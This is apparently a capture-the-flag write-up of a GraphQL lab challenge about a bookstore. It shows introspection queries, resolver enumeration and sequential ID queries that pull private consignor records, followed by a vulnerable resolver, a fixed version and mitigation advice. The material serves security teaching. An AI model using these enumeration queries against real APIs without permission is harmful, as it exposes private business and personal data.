Post

GraphQL BOLA via Introspection & Insecure Resolver Access | Slate Quarry

GraphQL BOLA via Introspection & Insecure Resolver Access | Slate Quarry

GraphQL BOLA via Introspection & Insecure Resolver Access | Slate Quarry

Overview

Slate Quarry is a WebVerse Labs challenge focused on GraphQL security weaknesses, specifically:

  • GraphQL schema introspection abuse
  • Broken Object Level Authorization (BOLA)
  • GraphQL IDOR
  • Sensitive business data exposure

The application simulates a small antiquarian bookstore where public catalogue data is accessible online, while private consignment ledger information was intended to remain internal.

Through GraphQL introspection and authorization testing, hidden backend functionality became discoverable and fully accessible without authentication controls.



Objective

Explore the GraphQL schema, identify insecure resolver functionality, enumerate private ledger records, and retrieve the flag.


Initial Reconnaissance

While browsing the application, the public catalogue endpoint was identified:

1
https://99fa5460-4065-slate-quarry-116db.events.webverselabs-pro.com/catalogue

The website displayed publicly visible books available in the shop inventory.

Opening an individual book page:

1
https://99fa5460-4065-slate-quarry-116db.events.webverselabs-pro.com/book/1

Burp Suite history revealed an interesting backend request:

1
POST /graphql HTTP/2

This confirmed the application relied on a GraphQL API.


GraphQL Schema Exploration

The next step was testing whether GraphQL introspection was enabled.

Introspection Query

1
2
3
4
5
6
7
POST /graphql HTTP/2
Host: 99fa5460-4065-slate-quarry-116db.events.webverselabs-pro.com
Content-Type: application/json

{
  "query":"query IntrospectionQuery { __schema { types { name fields { name } } } }"
}

The response exposed multiple schema objects, including a highly sensitive type:

1
2
3
4
5
6
7
type ConsignorReserve {
  bookId
  consignorName
  reservePrice
  acquisitionDate
  internalNotes
}

This immediately suggested the existence of an internal business ledger accessible through GraphQL.


Enumerating Resolver Signatures

The first query attempt triggered GraphQL argument validation errors.

To enumerate exact resolver signatures, the following query was used:

1
2
3
{
  "query":"{ __type(name:\"Query\") { fields { name args { name type { name kind ofType { name kind } } } } } }"
}

This revealed the precise query structure:

1
consignorReserveById(bookId: ID!)

Now the exact resolver could be queried correctly.


Exploiting the Vulnerable Resolver

Working Query

1
2
3
4
5
6
7
POST /graphql HTTP/2
Host: 99fa5460-4065-slate-quarry-116db.events.webverselabs-pro.com
Content-Type: application/json

{
  "query":"query { consignorReserveById(bookId:\"1\") { bookId consignorName reservePrice acquisitionDate internalNotes } }"
}

The response exposed private ledger information tied to the selected book.

This confirmed:

  • No authorization checks existed
  • Internal business records were publicly accessible
  • Arbitrary object enumeration was possible

Enumerating Additional Records

Additional records could then be accessed by modifying the bookId.

Example

1
2
3
{
  "query":"query { consignorReserveById(bookId:\"2\") { consignorName reservePrice internalNotes } }"
}

Sequential enumeration quickly exposed multiple private records.


Retrieving the Flag

Further enumeration eventually revealed the flag at bookId 7.

Payload

1
2
3
{
  "query":"query { consignorReserveById(bookId:\"7\") { consignorName reservePrice internalNotes } }"
}

Response

1
WEBVERSE{REDACTED}

Proof of Exploitation

Introspection Enabled

1
2
__schema
__type

Sensitive Internal Resolver

1
consignorReserveById(bookId: ID!)

Unauthorized Data Access

1
2
3
4
5
6
7
query {
  consignorReserveById(bookId:"7") {
    consignorName
    reservePrice
    internalNotes
  }
}

Result

  • Private consignor information disclosure
  • Internal reserve pricing exposure
  • Internal negotiation notes disclosure
  • Unauthorized access to protected business records
  • Flag retrieval

Vulnerability Analysis

The core issue was not introspection itself.

Introspection only exposed the available attack surface.

The actual vulnerability was:

  • Broken Object Level Authorization (BOLA)
  • GraphQL IDOR
  • Missing authorization middleware

The backend likely implemented logic similar to:

1
2
3
consignorReserveById: (_, { bookId }) => {
  return db.reserveLedger.find(r => r.bookId === bookId)
}

instead of properly validating user permissions.


Secure Implementation Example

A secure resolver should verify authentication and authorization before returning sensitive data.

1
2
3
4
5
6
7
8
consignorReserveById: (_, { bookId }, user) => {

  if (!user || user.role !== "admin") {
    throw new Error("Unauthorized")
  }

  return db.reserveLedger.find(r => r.bookId === bookId)
}

Why This Happens Frequently in GraphQL

GraphQL applications commonly suffer from this issue because developers assume:

  • Hidden frontend functionality is sufficient
  • Users will only execute intended queries
  • Internal schema objects are safe if not linked in the UI

However, GraphQL introspection makes hidden functionality extremely easy to discover.

Attackers can enumerate:

  • Types
  • Queries
  • Mutations
  • Resolver arguments
  • Internal object relationships

within minutes.


Impact

Successful exploitation exposed:

  • Internal business records
  • Private consignor details
  • Financial reserve pricing
  • Internal negotiation notes
  • Sensitive operational metadata

In real-world environments, this could lead to:

  • Business intelligence leaks
  • Privacy violations
  • Financial exposure
  • Competitor intelligence gathering
  • Unauthorized access to restricted datasets

Mitigation

Disable Introspection in Production

Production environments should restrict or disable introspection for untrusted users.


Enforce Authorization on Every Resolver

Authorization must be validated server-side for every sensitive object request.

Never rely on:

  • Hidden routes
  • Frontend controls
  • Obscurity

Implement Object-Level Authorization

Users should only access records they explicitly own or are authorized to view.


Rate Limit Enumeration Attempts

GraphQL enumeration attacks become much harder when:

  • Rate limits exist
  • Query depth limits are enforced
  • Query complexity restrictions are enabled

Real-World Insight

GraphQL APIs often unintentionally expose internal application functionality because schema objects become self-documenting through introspection.

Developers frequently focus on frontend visibility instead of backend authorization.

This creates situations where attackers can:

  1. Enumerate the schema
  2. Discover hidden resolvers
  3. Abuse object references
  4. Extract sensitive data directly from backend logic

Modern bug bounty programs regularly uncover GraphQL BOLA vulnerabilities for exactly this reason.


Key Takeaways

  • GraphQL introspection dramatically increases attack surface visibility
  • Hidden functionality is not secure functionality
  • Every resolver requires explicit authorization checks
  • BOLA remains one of the most common API vulnerabilities
  • Sensitive business logic should never rely on obscurity
This post is licensed under CC BY 4.0 by the author.